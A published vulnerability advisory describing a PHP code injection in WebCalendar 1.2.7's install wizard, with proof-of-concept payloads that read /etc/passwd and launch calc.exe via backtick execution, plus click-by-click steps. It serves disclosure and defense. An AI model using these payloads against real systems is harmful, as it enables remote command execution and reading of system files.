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WebCalendar v1.2.7 PHP Code Injection
[+] Credits: John Page aka HYP3RLINX
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/WEBCALENDAR-V1.2.7-PHP-CODE-INJECTION.txt
[+] ISR: ApparitionSec
WebCalendar is a PHP-based calendar application that can be configured as a single-user calendar, a multi-user calendar for groups of users, or as an
event calendar viewable by visitors. MySQL, PostgreSQL, Oracle, DB2, Interbase, MS SQL Server, or ODBC is required.
WebCalendar can be setup in a variety of ways, such as...
A schedule management system for a single person
A schedule management system for a group of people, allowing one or more assistants to manage the calendar of another user
An events schedule that anyone can view, allowing visitors to submit new events
A calendar server that can be viewed with iCalendar-compliant calendar applications like Mozilla Sunbird, Apple iCal or GNOME Evolution or RSS-enabled
applications like Firefox, Thunderbird, RSSOwl, FeedDemon, or BlogExpress.
PHP Code Injection
Since WebCalendars install script is not removed after installation as there is no "automatic" removal of it, low privileged users can inject arbitrary
PHP code for the "Database Cache" directory value as no input validation exists for this when a user installs the application using the WebCalendar walk
If WebCalendars installation script is available as part of a default image, often as a convenience by some hosting providers, this can be used to gain
code execution on the target system. The only item that is required is the user must have privileges to authenticate to the MySQL Database and to run the
install script. So, users who have install wizard access for the WebCalendar application will now have ability to launch arbitrary system commands on the
One problem we must overcome is WebCalendar filters quotes " so we cannot use code like <?php echo "/bin/cat /etc/passwd"; ?> However, we can defeat this
obstacle using the all to forgotten backtick `CMD` operator!.
*/?><?php echo `/bin/cat /etc/passwd`; ?>
This results in "settings.php" being injected like...
/* updated via install/index.php on Wed, 15 Jun 2016 09:44:34 -0400
db_cachedir: */?><?php echo `/bin/cat /etc/passwd`; ?>
# end settings.php */
1) Login to the WebCalendar Installation Wizard.
2) When you get to WebCalendar Installation Wizard Step 2 of the install script.
3) Click "Test Settings" button to ensure connection to the Database.
4) Enter below PHP code for the "Database Cache Directory:" input fields value to pop calculator for POC (Windows).
*/?><?php exec(`calc.exe`); ?>
5) Click "Next" button
6) Click "Next" button
7) Click "Save settings" button
BOOOOOOOM! "settings.php" gets overwritten and injected with our PHP code.
If you happen to get following error when clicking "Test Settings" button, "Failure Reason: Database Cache Directory does not exist", just click back
button then forward or just "Test settings" button again to try get past the error.
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July 4, 2016 : Public Disclosure
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